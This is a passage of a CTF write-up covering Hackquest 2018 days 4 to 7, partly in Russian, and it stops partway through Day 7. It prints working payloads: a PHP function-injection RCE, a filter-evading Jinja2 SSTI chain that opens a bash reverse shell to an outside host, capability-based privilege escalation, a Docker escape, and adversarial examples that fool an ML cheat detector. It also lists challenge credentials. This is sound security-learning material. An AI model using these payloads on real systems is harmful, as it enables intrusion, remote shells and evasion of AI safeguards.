Hackquest 2018. Results & Writeups. Day 4-7
Как и обещали, выкладываем вторую часть решений ежегодного хакквеста. Day 4–7: напряжение нарастает, а задания всё интереснее!
Содержание:
Day4. Imagehub
This task was prepared by SPbCTF.
Our new creation will kill Instagram. We’ll convince you in just two words:
1. Filters. New never-before-seen filters for your uploaded pictures.
2. Caching. Custom HTTP server ensures image files land in the browser cache.
Try it right now! imagehub.spb.ctf.su
Run /get_the_flag to win.
Custom server binary: dppth
HINTS
25/10/2018 20:00
Task wasn’t solved. 24 hours added.
25/10/2018 17:00
There are two bugs that we know of. First one gets you the web app sources, second one gets you RCE.
Overview:
Executable:
- ELF x86_64
- Implements simple http server
- If requested file has executable bit, then its passed to php-fpm
- Code implements custom etag caching
Web part:
- Has file upload functionality. Image can be modified using predefined filters.
- Admin page with Basic on /? admin=show
Vulnerability: Source code reading
Cache functionality seems interesting, because we can get server to hash arbitrary range of file (even 1 byte range).
Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
def etag_hash(data):
v16 = [0 for _ in range(16)]
v16[0] = 0
v16[1] = 0x1DB71064
v16[2] = 0x3B6E20C8
v16[3] = 0x26D930AC
v16[4] = 0x76DC4190
v16[5] = 0x6B6B51F4
v16[6] = 0x4DB26158
v16[7] = 0x5005713C
v16[8] = 0xEDB88320
v16[9] = 0xF00F9344
v16[10] = 0xD6D6A3E8
v16[11] = 0xCB61B38C
v16[12] = 0x9B64C2B0
v16[13] = 0x86D3D2D4
v16[14] = 0xA00AE278
v16[15] = 0xBDBDF21C
hash = 0xffffffff
for i in range(len(data)):
v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff
hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff
return (~hash) & 0xffffffff
Unfortunately etag is stripped for executable files (*.php):
stat_0(v2, &stat_buf);
if ( stat_buf.st_mode & S_IEXEC )
{
setHeader(a2->respo, "cache-control", "no-store");
deleteHeade(a2->respo, "etag");
set_environment_info(a1);
dup2(fd, 0);
snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);
Still there is a check before page execution, so if we correctly guess etag value (if-none-match), than the server will serve us a 304 Not Modified status response. Using this we can bruteforce source code byte by byte.
v11 = getHeader(&s.request, "if-modified-since");
if ( v11 )
{
v3 = getHeader(&v14, "last-modified");
if ( !strcmp(v11, v3) )
send_status(304);
}
v12 = getHeader(&s.request, "if-none-match");
if ( v12 )
{
v4 = getHeader(&v14, "etag");
if ( !strcmp(v12, v4) )
send_status(304);
}
exec_and_prepare_response_body(&s, &a2a);
Lets summarize what we have got from RE:
- Timestamp is easily readed from last-modified response header (string — > timestamp).
- Range allows to be one byte length (so we will get hash for only one byte)
- Hash can be guessed for 1 byte range (256 possible values)
- Size is bruteforceable, but we need to know at least one byte from target file.
- Since we would like to get source for *.php files, its a good assumption, that the file is starting with »
First step will be getting size, and the second is getting actual file contents.
With multi threaded code I reached the speed of ~1 char/sec, and dumped some files:
upload();
if ($result === true) die();
if ($result > 0) {
echo "Error: " . $result;
}
if ($uploader->upload() !== true) {
include "templates/main.php";
}
scaleimage($size, $size);
$imagick->setImageOpacity(0.5);
$imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0);
header("Content-Type: image/jpeg");
echo $imagick->getImageBlob();
return true;
}
}
setFillColor('white');
$draw->setFontSize( 18 );
$image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text);
return $image;
}
function futut($size, $text) {
$image = new Imagick();
$pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
$image->newImage($size, $size, $pixel);
$image = make_text($image, $size, $text);
$image->setImageFormat('png');
return $image;
}
function incasinato($size, $text) {
$image = new Imagick();
$pixel = new ImagickPixel( 'rgba(130,100,255,3)' );
$image->newImage($size, $size, $pixel);
$image = make_text($image, $size, $text);
$image->setImageFormat('png');
return $image;
}
function fertocht($size, $text) {
$image = new Imagick();
$s = $size % 255;
$pixel = new ImagickPixel( "rgba($s,$s,$s,127)" );
$image->newImage($size, $size, $pixel);
$image = make_text($image, $size, $text);
$image->setImageFormat('png');
return $image;
}
function jebeno($size, $text) {
$image = new Imagick();
$pixel = new ImagickPixel( 'rgba(0,255,255,255)' );
$image->newImage($size, $size, $pixel);
$iterator = $image->getPixelIterator();
$i = 0;
foreach ($iterator as $row=>$pixels) {
$i++;
$j=0;
foreach ( $pixels as $col=>$pixel ) {
$j++;
$color = $pixel->getColor();
$alpha = $pixel->getColor(true);
$r = ($color['r']+$i*10) % 255;
$g = ($color['g']-$j) % 255;
$b = ($color['b']-($size-$j)) % 255;
$a = ($alpha['a']) % 255;
$pixel->setColor("rgba($r,$g,$b,$a)");
}
$iterator->syncIterator();
}
$image = make_text($image, $size, $text);
$image->setImageFormat('png');
return $image;
}
function kuthamanga($size, $text) {
$image = new Imagick();
$pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
$image->newImage($size, $size, $pixel);
$iterator = $image->getPixelIterator();
$i = 0;
foreach ($iterator as $row=>$pixels) {
$i++;
$j=0;
foreach ( $pixels as $col=>$pixel ) {
$j++;
$color = $pixel->getColor();
$alpha = $pixel->getColor(true);
$r = ($color['r']+$i) % 255;
$g = ($color['g']-$j) % 255;
$b = ($color['b']-$i) % 255;
$a = ($alpha['a']+$j) % 255;
$pixel->setColor("rgba($r,$g,$b,$a)");
}
$iterator->syncIterator();
}
$image = make_text($image, $size, $text);
$image->setImageFormat('png');
return $image;
}
1024*32) {
return UploadError::BIG_SIZE;
}
if (!in_array($imageFileType, ['jpg'])) {
return UploadError::INCORRECT_EXTENSION;
}
$imageMimeType = $imageFileInfo['mime'];
if ($imageMimeType !== 'image/jpeg') {
return UploadError::INCORRECT_MIMETYPE;
}
if (file_exists($target_file)) {
return UploadError::FILE_EXISTS;
}
if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) {
return UploadError::INVALID_PARAMS;
}
$size = intval($_POST['size']);
if (($size <= 0) || ($size > 512)) {
return UploadError::INCORRECT_SIZE;
}
return true;
}
This gives us:
- Username / password for Admin Basic. Completely useless, it only prints string:
Congratz. Now you can read sources. Go deeper. - Function Injection (FI) on 'filter' input.
- Image upload validation is now clear for us.
- ImageMagic library is used. Assuming that it is used for exploit is a deadend. I don’t think there is any way to exploit it without relying on FI.
Vulnerability: Function Injection
File upload.php has some suspicious code:
$filterImage = $_POST['filter']($size, $text);
We can simplify it to:
$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);
You can actually detect this vulnerability just by doing some fuzzing. Sending function names like »var_dump» or »debug_zval_dump» in 'filter' input will result in interesting responses from the server.
int(51) string(10) "jsdksjdksds"
So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions:file_put_contents(0, "
But it is not our case. There are at least two ways of solving the task.
filter_input_array vector (unintended solution): RCE vector
While thinking of possible ways to get RCE, I noticed that function filter_input_array
gives us pretty good control over $filterImage variable
.
Passing filter array as second argument, will allow as to build arbitrary array on function result.
But ImageMagic is not expecting to get anything besides Imagick class. :(
May be we can unserialize class from input? Let’s look for additional filter arguments at filter_input_array description.
It is not mentioned on the function page itself, but we can actually pass a callback for input validation. FILTER_CALLBACK example is for filter_input
, but it works for filter_input_array
, too!
This means that we can «validate» custom user inputs using function with one argument (eval? system?), and we have control over the argument.
FILTER_CALLBACK = 1024
Example for getting RCE:
GET:
a=/get_the_flag
POST:
filter=filter_input_array
size=1
text[a][filter]=1024
text[a][options]=system
submit=1
Response:
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
Искомая строка: 1m_t3h_R34L_binaeb_g1mme_my_71ck37
Something was definitely feeling wrong, because why would we even need to get the source code? Just for a hint? Why uploaded files was stored on disk, isn’t it more convenient not to store junk files from the challenge users?
Coincidence in naming filter=filter_input_array, text[a][filter] gave me a confidence that everything was done as expected («never-before-seen filters», check ✓).
spl_autoload vector: LFI vector
After submitting solution I got contacted by one of the challenge authors, who said that my vector was not intended and another function can be used (spl_autoload
):
It is not obvious how we can use this function because as it supposed to load a class »
void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )
Our first argument can only be number (1–512), so the class name is a… number? … weird.
Extension argument is also looks unusable, controlled files are one level deeper than upload.php (we need to pass a prefix).
This function can actually give us an LFI if used this way:
spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")
Directory name is acquired from the leaked source code. And we got lucky, because if the first character of name was anything besides number → we could not include files from there.
So… all we need now is to pass a «kind-of-valid» (getimagesize must accept it) *.jpg file with php code emended. Simple example (php payload in exif) is attached.
Upload it as 1111.jpg, and do:
GET:
a=/get_the_flag
POST:
filter=spl_autoload
size=51
text=a8ae2cab09c6b728919fe09af57ded/1111.jpg
submit=1
Response: ... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
Искомая строка: 1m_t3h_R34L_binaeb_g1mme_my_71ck37
Upload and LFI can be done in one request.
Day5. Time
This task was prepared by Digital Security team
The first thing you need is to subdue time, the second one is to go beyond the small world. After that you will get a weapon against boss final level. Good luck!
51.15.75.80
HINTS
27/10/2018 16:00
Oh, how many devices on a box… are they really usefull?
27/10/2018 14:35
If you were able to cope with the filter on the timepanel, then you can use the capabilities of an entire system. Do not be shy.
27/10/2018 14:25
Check virtual host and don’t dwell on 200
26/10/2018 19:25
Task wasn’t solved. 24 hours added.
26/10/2018 17:35
Use all your capabilities.
26/10/2018 12:25
You do not need any forensic software to complete any stage of a task.
1) Wordpress
Изначально нам дан адрес 51.15.75.80.
Прогоняем hehdirb — видим директорию /wordpress/. Сразу заходим в админку под admin: admin.
В админке видим, что нет привилегий на изменение шаблонов, так что нельзя просто так добиться RCE. Однако есть скрытый пост:
25.09.2018 BY ADMINISTRATOR
Private: Notes about time panel
login: cristopher
password: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn
2) SSTI
Очевидно, нужно зайти на тот же сервер, указав виртуальный хост timepanel.zn.
Запускаем hehdirb по этому хосту — видим директорию /adm_auth, заходим под логином и паролем, данными выше. Видим форму, в которой нужно ввести даты («от» и «до») для получения какой-то информации. При этом в HTML-коде ответа видим коммент, где отражаются эти же даты:
Очевидно, баг здесь, скорее всего, должен быть связан с этим отражением, и вряд ли это XSS, так что пробуем SSTI:
start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00
Ответ:
Отправив {{ self }}, {{ 'a' * 5 }}, осознаём, что это Jinja2, но стандартные векторы не работают. Отправив векторы без {{скобок}}, видим, что в ответе не отражаются символы »_» и некоторые слова, например, «class». Фильтр такой легко обходится через использование request.args и конструкции |attr (), а также кодирование некоторых байтов escape-последовательностью.
POST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM
start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00
3) LPE
Получив RCE, понимаем, что нужно поднять привилегии до рута. При этом есть несколько ложных путей (/usr/bin/special, /opt/privesc.py и ещё несколько), которые описывать не хочется, поскольку они только отнимают время. Также есть бинарь /usr/bin/zero, у которого нет suid-бита, но выясняется, что он может читать любые файлы (достаточно отправить ему hex-закодированный путь в stdin).
Причина — capabilities (/usr/bin/zero = cap_dac_read_search+ep).
Читаем shadow, ставим брутиться хеш, но, пока он брутится, угадываем, что нужно прочитать файл другого пользователя, который есть в системе:
$ echo /home/cristopher/.bash_history | xxd -p | zero
I can read something for you
su
Dpyax4TkuEVVsgQNz6GUQX
4) Docker escape / Forensics
Итак, у нас есть рут. Но это ещё не конец. Ставим apt install extundelete и находим в файловой системе ещё несколько интересных файлов, относящихся уже к следующему этапу:
To get a ticket, you need to change an image so that it is identified as »1». You have a model and an image. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188:36491/predict'.
Значит, перед нами теперь стоит стандартная задача по генерации состязательного примера для модели машинного обучения. Однако, на этом этапе мне ещё не удалось добыть все нужные файлы. Сделать это удалось лишь поставив на сервер агент R-Studio и занявшись удалённой форенсикой. Уже почти вытащив то, что нужно, обнаружил, что вообще-то docker-контейнер запущен в режиме, позволяющем примонтировать весь диск
Делаем mount /dev/vda1 /root/kek и получаем доступ к хостовой файловой системе, а заодно и root-доступ ко всему серверу (поскольку можем подложить свой ssh-ключ). Вытаскиваем KerasModel.h5, ZeroSource.bmp.
5) Adversarial ML
По картинке сразу ясно, что нейросеть обучена на датасете MNIST. При попытке отправить произвольную картинку на сервер, получаем ответ о том, что картинки слишком сильно отличаются. Значит, сервер измеряет расстояние между векторами, ведь он хочет именно adversarial-пример, а не просто картинку с изображением »1».
Пробуем первую попавшуюся атаку из foolbox — получаем атакующий вектор, но сервер его не принимает (слишком велико расстояние). Тут я пошёл в дебри, начав переделывать реализации One Pixel Attack под MNIST, и ничего не получалось, поскольку в этой атаке используется алгоритм дифференциальной эволюции, он не градиентный и пытается найти минимум стохастически, руководствуясь изменениями в векторе вероятностей. Но вектор вероятностей не менялся, поскольку нейросеть была слишком уверенной.
В конечном счёте пришлось вспомнить про подсказку, которая была в изначальном текстовом файле на сервере — »(Normilize ^_^)». После аккуратной нормализации удалось эффективно провести атаку при помощи алгоритма оптимизации L-BFGS, ниже итоговый эксплойт:
import foolbox
import keras
import numpy as np
import os
from foolbox.attacks import LBFGSAttack
from foolbox.criteria import TargetClassProbability
from keras.models import load_model
from PIL import Image
image = Image.open('./ZeroSource.bmp')
image = np.asarray(image, dtype=np.float32) / 255
image = np.resize(image, (28, 28, 1))
kmodel = load_model('KerasModel.h5')
fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1))
adversarial = image[:, :]
try:
attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5))
adversarial = attack(image[:, :], label=0)
except:
print 'FAIL'
quit()
print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1))
adversarial = np.array(adversarial * 255, dtype='uint8')
im = Image.open('ZeroSource.bmp')
for x in xrange(28):
for y in xrange(28):
im.putpixel((y, x), int(adversarial[x][y][0]))
im.save('ZeroSourcead1.bmp')
os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'")
Искомая строка: H3y_Y0u’v_g01_4_n1c3_t1cket
Day6. Awesome Vm
This task was prepared by School CTF team.
Check out a new training service! zn.sibears.ru:8000
Right now we want to engage you in a beta-testing a new virtual machine created especially for testing programming skills of our newbies. We’ve added intellectual protection against cheating and now want to thoroughly check everything before offering the platfotm. The VM allows you to run simple programs… or not only?!
goo.gl/iKRTrH
HINTS
27/10/2018 16:20
Maybe you can fool or bypass AI system?
Описание:
Сервис представляет из себя проверяющую систему для файлов с расширением .cmpld, принимаемых интерпретатором sibVM. Задача, которую должна решить отправленная программа: вычислить сумму перечисленных в файле input.txt чисел, чем-то напоминает acm-соревнования. Также в описании веб-интерфейса указано, что отправляемые программы будут проверяться с помощью искусственного интеллекта.
Сервис состоит из двух Docker-контейнеров: web-docker и prod_inter.
web-docker не представляет особого интереса для анализа. Все, что он делает — транслирует отправленный файл в контейнер prod_inter, внутри которого и происходит всё самое интересное. Соответствующий фрагмент кода представлен ниже:
В контейнере prod_inter происходит проверка отправленного файла и его исполнение на тестовых данных. Для каждой отправки случайным образом создается новая директория в /tmp/, куда под случайным именем и сохраняется отправленный файл. В созданную директорию также помещается файл flag.txt, который, вероятно, и является нашей целью.
Затем начинается самое интересное: если файл больше 8192 байт, то происходит проверка входного файла программы с помощью искусственного интеллекта. В качестве ИИ выступает заранее обученная сверхточная нейронная сеть. В случае, если проверка была пройдена успешно (входные данные больше 8192 байт, и нейронная сеть отнесла их к первому классу), программа выполняется на пяти различных тестах, и результат отправляется в ответном сообщении и отображается пользователю.
Если же размер входных данных меньше 8192 байт, или они не прошли проверку нейронной сетью, то перед тестированием происходит дополнительная проверка программы на наличие подстроки flag.txt в ней и на попытки открыть файл с таким именем. Обращение к файлу flag.txt отслеживается посредством запуска программы в песочнице secfilter, работающей на основе технологий SECCOMP, и анализа лога исполнения. Ниже представлен соответствующий код сервиса и пример лога при попытке открыть запрещённый файл:
Для решения данного таска мною был сгенерирован набор программ для интерпретатора sibVM, открывающих файл flag.txt и выводящих числовое значение i-го байта файла. Каждая программа при этом успешно проходит проверку ИИ. Далее будут представлены поверхностный анализ нейронной сети и описание работы виртуальной машины.
Анализ нейронной сети
Обученная модель нейронной сети содержится в файле cnn_model.h5. Ниже представлена общая информация об архитектуре сети.
Мы не знаем, что именно распознает нейронная сеть, поэтому попытаемся подавать ей на вход различные данные. Из архитектуры сети понятно, что на вход она принимает одноканальное изображение размера 100×100. Чтобы избежать влияния масштабирования на результат, будем использовать последовательности по 10000 байт, конвертированные в изображение с помощью функций, используемых в сервисе. Ниже представлены результаты работы нейронной сети на различных данных:
На основе полученных результатов можно предположить, что нейронная сеть будет принимать изображения с преобладанием чёрных цветов (нулевые байты). Скорее всего, для написания программы, считывающей символы флага, потребуется существенно меньше 1000 значимых байт (остальное можно будет заполнить нулями), и тогда ИИ примет отправленную программу.
Соответственно, для решения таска осталось написать нужную программу.
Интерпретатор sibVM
Структура программы
Первым делом необходимо разобраться со структурой файла программы. В ходе реверсинга интерпретатора выяснилось, что программа должна начинаться с определённого заголовка с несколькими служебными полями, после которого идёт набор сущностей с идентификаторам, среди которых должна быть сущность main типа Function.
В итоге получился следующий формат входного файла:
Типы данных
Интерпретатор поддерживает различные типы сущностей. Ниже представлена таблица и их идентификаторов, которые в дальнейшем понадобятся для построения программы.
Построение программы для интерпретатора
Как упоминалось выше, в программе должна существовать запись main с типом Function (5). Она имеет следующий формат:
Обнаружить основной цикл исполнения программы было несложно.
Функция decode_opcode
извлекает информацию об очередной операции из кода программы. Первые два байта каждой операции содержат код операции, количество аргументов и их тип. Следующие несколько байт (зависит от типа и количества аргументов) будут интерпретированы как аргументы операции.
Формат первых двух байтов операции:
Далее разберём некоторые инструкции, которые помогут нам извлечь флаг из системы.
- Опкод 0 — открывает файл (название файла задается аргументом операции и имеет тип String) и помещает его содержимое на вершину стека в виде объекта типа
ByteArray
. - Опкод 2 — выводит на экран значение, хранимое на вершине стека. К сожалению, данная операция не будет выводить значение объекта типа
ByteArray
. Для решения данной проблемы можно получить i-ый элемент массива и вывести его.
- Опкод 13 — взятие элемента из массива по индексу. Массив и индекс элемента извлекаются из стека, результат помещается на стек. Соответственно, для составления рабочей программы необходимо поместить индекс на стек.
- Опкод 7 — помещает на стек аргумент операции.
В итоге, программа состоит всего из 4 операций:
Искомая строка: flag{76f98c7f11582d73303a4122fd04e48cba5498}
Day7. Hiddenresource
This task was prepared by RuCTF.
Given the n24.elf service. Just authorize on 95.216.185.52 and get you flag.
HINTS
28/10/2018 20:00
Task wasn’t solved. 24 hours added.
Опрос сервера на наличие доступа по стандартным протоколам подключения показал наличие доступа по SSH (порт 22). Предоставленный файл является исполняемым ELF (на что тонко намекнули расширением в названии) для Linux.
#file UwRJ8iaEEd4tSQIe_n24.elf
UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
Использование утилиты strings показало наличие строк »/home/task/.ssh» и »/home/task/.ssh/authorized_keys». Вывод о возможности доступа к файлу ключей беспарольной авторизации SSH со стороны исполняемого файла ELF (далее — сервиса).
В символьной таблице присутствуют необходимые функции для открытия файлов и записи:
# readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2)
# readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write
32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2)
В символьной таблице также присутствуют функции для работы с сокетами, по созданию процессов и по подсчету MD5.
Реверс файла показал наличие большого числа прыжков (некоего рода обфускация). При этом, прыжки осуществляются между блоками кода, которые в общем могут быть разбиты на несколько типов:
- блоки по схеме «выполнил определённый функционал и прыгнул на следующий блок на основе установленного флага OF процессора», как тут (вывод утилиты objdump):
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad
95b6a8: e9 f4 bf e1 ff jmp 7776a1 95b6ad: e9 1f 1a de ff jmp 73d0d1
При этом, в таких блоках флаг OF обычно не установлен в силу выполнения инструкций «xor», «and» и других. - блоки, модифицирующие ход своего выполнения после первого прохода. В большинстве таких блоков изначально прыжок из них ведет в неисполняемые области. В блоке производится модификация инструкции прыжка, как тут:
95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
- простые блоки, выполняющие определённый функционал и идущие дальше.
По результатам реверса сделано предположение о наличии реализации подсчета по алгоритму MD5. Необходимая для расчета таблица не реализована отдельно, а читается прямо в коде в блоках. В коде есть символы с названиями »MD5_Init»,»MD5_Update» и »MD5_final».
В целом, с использованием возможностей всем известного дизассемблера и его API скриптов можно было определить ход выполнения программы статически. Но лицензия дизассемблера дорогая, пробная версия у них грустная, достать его сложно, и я обходился свободно распространяемыми утилитами, да и этот путь дольше. Поэтому динамика и тем более возможность есть.
Закинул файл ELF в виртуалку. Заранее создал директорию »/home/task/.ssh/» на всякий случай.
При запуске требуется указать порт. Учитывая, что мы не контролируем запуск на стороне сервера, подумал, что этот параметр фиктивный. Реальный порт должен быть один. Netstat показал наличие открытого порта 5432 (UDP).
# netstat -ulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:5432 0.0.0.0:* 13611/./UwRJ8iaEEd4
Отправка пакета с данными на указанный порт выводит сообщение об их верификации и некие данные (4 байта) со стороны сервиса:
#echo "test" > /dev/udp/127.0.0.1/5432
# Verifying 74657374
009ec3b8
Перебор различных данных на позволил выявить зависимость вывода от их содержимого.
Далее — отладка с использованием gdb. Первым делом узнаю, где получаем данные, точка останова на recvfrom и backtrace. Получаем в итоге адрес 0×6ae010.
6ae00b: e8 d0 2b d5 ff call 400be0
6ae010: e9 64 bc ea ff jmp 559c79
559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax
559c7c: 83 f8 ff cmp eax,0xffffffff # если не получили, то -1
559c7f: 0f 84 62 7f 1c 00 je 721be7
559c85: e9 8a d6 2c 00 jmp 827314
827314: 48 c7 c7 30 d1 f0 00 mov rdi,0xf0d130
82731b: 48 29 27 sub QWORD PTR [rdi],rsp
82731e: 48 89 df mov rdi,rbx
827321: e8 5f 94 fe ff call 810785
827326: e9 d7 a5 2d 00 jmp b01902
b01902: 85 c0 test eax,eax
b01904: 0f 84 dd 02 c2 ff je 721be7
b0190a: e9 7c a9 bb ff jmp 6bc28b
В цепочке вызов функции по адресу 0×810758 и обработка ее результата.
Ставим break на 0xb01902, отправляем пакет с данными.
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488
Breakpoint 2, 0×0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0×0 0
Код 0 при неправильных данных. Следовательно, предполагаем, что для правильного решения нам нужно вернуть код не 0.
В процессе дальнейшего исследования посмотрел через gdb, что передается в функцию MD5_Update при отправке пакета данных (отправлял также «test»).
(gdb) b MD5_Update
Breakpoint 3 at 0x4c487d (2 locations)
(gdb) c
Continuing.
Verifying 74657374
Breakpoint 3, 0x00000000004c487d in MD5_Update ()
(gdb) info reg rsi
rsi 0x7fffffffdd90 140737488346512
(gdb) x/20bx $rsi
0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00
0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdda0: 0x00 0x00 0x00 0x00
(gdb) info reg $rdx
rdx 0x200 512
Результат
MD5 считается от переданного нами сообщения, но размер считаемых данных 512 Байт. Поигравшись с данными, выяснил, что MD5 считается от присланных данных с заполненными до размера 512 байт нулями. Но отправлять нужно минимум 8 байт, чтобы заменить некое 8 байтовое число, хранимое в стеке. Судя по всему, там хранился какой-то адрес. Выводимые при этом сервисом 4 байта на каждый пришедший пакет соответствуют первым 3 байтам MD5-суммы с дополнительным нулем.
Вернулся к функции 0×810758 и ее коду возврата 0. Возвращаемое значение хранится в регистре RAX. Для определения кода возврата установил 2 точки останова на адрес самой функции 0×810758 и адрес после ее выполнения 0×827326.
Отправил данные, сработала точка в 0×810758. Запустил в gdb скрипт:
import gdb
with open("flow.log", "w") as fw:
while 1:
s = gdb.execute("info reg rip", to_string=True)
s = s[s.find("0x"):]
gdb.execute("ni", to_string=True)
address = s.split("\t")[0].strip()
fw.write(address + "\r\n")
address = int(address, 16)
if address == 0x827326:
break
Получил файлик flow.log со всеми пройденными адресами в процессе выполнения исследуемой функции. На самом деле, все было не так просто, но пришел в итоге к этому.
Подготовил файлик »disasm.log» с дизассемблированным кодом из objdmp к читабельному виду типа »адрес: инструкция» без лишних строк.
F_NAME = "disasm.log"
F_FLOW = "flow.log"
def prepare_code_flow(f_path):
with open(f_path, "rb") as fr:
data = fr.readlines()
data = filter(lambda x: x, data)
start_address = long(data[0].split(":")[0], 16)
end_address = long(data[-1].split(":")[0], 16)
res = [""] * (end_address - start_address + 1)
for _d in data:
_d = _d.split(":")
res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip()
return start_address, res
def parse_instruction(code):
mnem = code[:7].strip()
ops = code[7:].split(",")
return [mnem] + ops
def process_instruction(code):
parse_data = parse_instruction(code)
if parse_data[1] in ["rax", "eax", "al"]:
return True
return False
if __name__ == '__main__':
# Prepare disassemble data
start_address, codes = prepare_code_flow(F_NAME)
with open(F_FLOW, "rb") as fr:
lines = fr.readlines()
lines.reverse()
lines = filter(lambda x: x, lines)
count = 0
for _l in lines:
offset = long(_l.strip(), 16) - start_address
if process_instruction(codes[offset]):
print str(count) + " " + hex(offset + start_address) + " " + codes[offset]
break
count += 1
continue
Скрипт просто «идет» по адресам назад от конца до момента, пока не получит в первом операнде инструкции регистр RAX. Результат: 0x67c27c mov DWORD PTR [rbp-0x14], 0x0
Вот оно нулевое значение. Дальше просто шаги назад до какого-либо ветвления (файл »flow.log»):
95b6ad: jmp 73d0d1
95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337
95b6bc: jne 67c270
Адрес 0×95b6b2 — сравнение некоего значения с 0×133337. Точка останова, смотрим, что в [rbp-0×2d4]. Для этого отправляем пакет с данными «testtest»:
# echo -n "testtest" > md5.bin
# truncate -s 512 md5.bin
# md5sum md5.bin
e9b9de230bdc85f3e929b0d2495d0323 md5.bin
# echo -n "testtest" > /dev/udp/127.0.0.1/5432
(gdb) b *0x95b6b2
Breakpoint 6 at 0x95b6b2
(gdb) c
Continuing.
Verifying 74657374
00deb9e9
Breakpoint 6, 0x000000000095b6b2 in MD5_Final ()
(gdb) x/20bx $rbp-0x2d4
0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23
0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2
0x7fffffffdd8c: 0x49 0x5d 0x03 0x23
Совпадение по 3 первым байтам MD5-суммы. Решение сводится к получению MD5-суммы с первыми 3 байтами »\x37\x33\x13».
Простой скрипт для перебора чисел от нуля с расчетом в бинарном виде MD5 до нужного совпадения. Необходимые данные для отправки получены. Отправляем данные и получаем сообщение от сервиса о назначении нового порта для приема данных:
New salt 508bd11b
Next port 14235
Binding 14235
Waiting for data...3 14235 0
Netstat не показал данного порта, да и вообще новых портов. Но ps показала наличие завершившегося дочернего процесса (зомби). Пришла идея, что порт открывается на некоторое время в дочернем процессе.
